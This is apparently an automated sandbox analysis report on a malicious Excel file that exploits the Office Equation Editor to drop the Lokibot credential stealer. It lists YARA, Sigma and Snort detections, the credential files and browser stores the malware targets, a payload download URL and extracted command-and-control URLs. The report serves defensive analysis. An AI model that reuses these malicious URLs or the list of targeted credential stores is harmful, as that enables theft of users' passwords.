6.0.xmtxpy.exe.400000.5.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.0.xmtxpy.exe.400000.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.xmtxpy.exe.400000.9.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.0.xmtxpy.exe.400000.9.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.0.xmtxpy.exe.400000.9.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
6.0.xmtxpy.exe.400000.9.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
6.0.xmtxpy.exe.400000.9.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.0.xmtxpy.exe.400000.9.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.xmtxpy.exe.400000.9.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.0.xmtxpy.exe.400000.9.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.0.xmtxpy.exe.400000.9.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
6.0.xmtxpy.exe.400000.9.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
6.0.xmtxpy.exe.400000.9.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.0.xmtxpy.exe.400000.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.xmtxpy.exe.400000.7.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.0.xmtxpy.exe.400000.7.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.0.xmtxpy.exe.400000.7.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
6.0.xmtxpy.exe.400000.7.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
6.0.xmtxpy.exe.400000.7.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
6.0.xmtxpy.exe.400000.11.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.xmtxpy.exe.400000.11.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
6.0.xmtxpy.exe.400000.11.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
6.0.xmtxpy.exe.400000.11.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
6.0.xmtxpy.exe.400000.11.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
6.0.xmtxpy.exe.400000.11.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 76 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 198.46.132.195, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2984, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2984, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.win32[1].exe

System Summary

Sigma detected: Droppers Exploiting CVE-2017-11882

Source: Process started

Author: Florian Roth: Data: Command: "C:\Users\Public\vbc.exe" , CommandLine: "C:\Users\Public\vbc.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2984, ProcessCommandLine: "C:\Users\Public\vbc.exe" , ProcessId: 1712

Sigma detected: Execution from Suspicious Folder

Source: Process started

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 1B 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2984, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php"]}

Multi AV Scanner detection for submitted file

Source: _2201S_BUSAN_HOCHIMINH_.xlsx	Virustotal: Detection: 35%			Perma Link
Source: _2201S_BUSAN_HOCHIMINH_.xlsx	ReversingLabs: Detection: 32%

Antivirus detection for URL or domain

Source: http://198.46.132.195/windowSSH/.win32.exe	Avira URL Cloud: Label: malware
Source: http://asiaoil.bar//bobby/five/fre.php	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: http://198.46.132.195/windowSSH/.win32.exe

Virustotal: Detection: 7%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.win32[1].exe	Virustotal: Detection: 21%			Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.win32[1].exe	ReversingLabs: Detection: 23%

Machine Learning detection for dropped file

Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.win32[1].exe	Joe Sandbox ML: detected

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe			Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: wntdll.pdb source: xmtxpy.exe, 00000005.00000003.463241268.00000000005F0000.00000004.00000800.00020000.00000000.sdmp, xmtxpy.exe, 00000005.00000003.461526742.00000000023E0000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D7C FindFirstFileA,FindClose,	4_2_00405D7C
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004053AA CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	4_2_004053AA
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00402630 FindFirstFileA,	4_2_00402630
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,	6_2_00403D74

Source: global traffic

DNS query: name: asiaoil.bar

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 198.46.132.195:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 198.46.132.195:80

Source: excel.exe

Memory has grown: Private usage: 5MB later: 61MB

Networking

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.22:49166 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49166 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49166 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.22:49166 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.22:49167 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49167 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49167 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.22:49167 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49168 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49168 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49168 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49168 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49169 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49169 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49169 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49169 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49170 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49170 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49170 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49170 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49171 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49171 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49171 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49171 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49172 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49172 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49172 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49172 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49173 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49173 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49173 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49173 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49174 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49174 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49174 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49174 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49175 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49175 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49175 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49175 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49176 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49176 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49176 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49176 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49177 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49177 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49177 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49177 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49178 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49178 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49178 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49178 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49179 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49179 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49179 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49179 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49180 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49180 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49180 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49180 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49181 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49181 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49181 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49181 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49182 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49182 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49182 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49182 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49183 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49183 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49183 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49183 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49184 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49184 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49184 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49184 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49185 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49185 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49185 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49185 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49186 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49186 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49186 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49186 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49187 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49187 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49187 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49187 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49188 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49188 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49188 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49188 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49189 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49189 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49189 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49189 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49190 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49190 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49190 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49190 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49191 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49191 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49191 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49191 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49192 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49192 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49192 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49192 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49193 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49193 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49193 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49193 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49194 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49194 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49194 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49194 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49195 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49195 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49195 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49195 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49196 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49196 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49196 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49196 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49197 -> 172.67.197.66:80
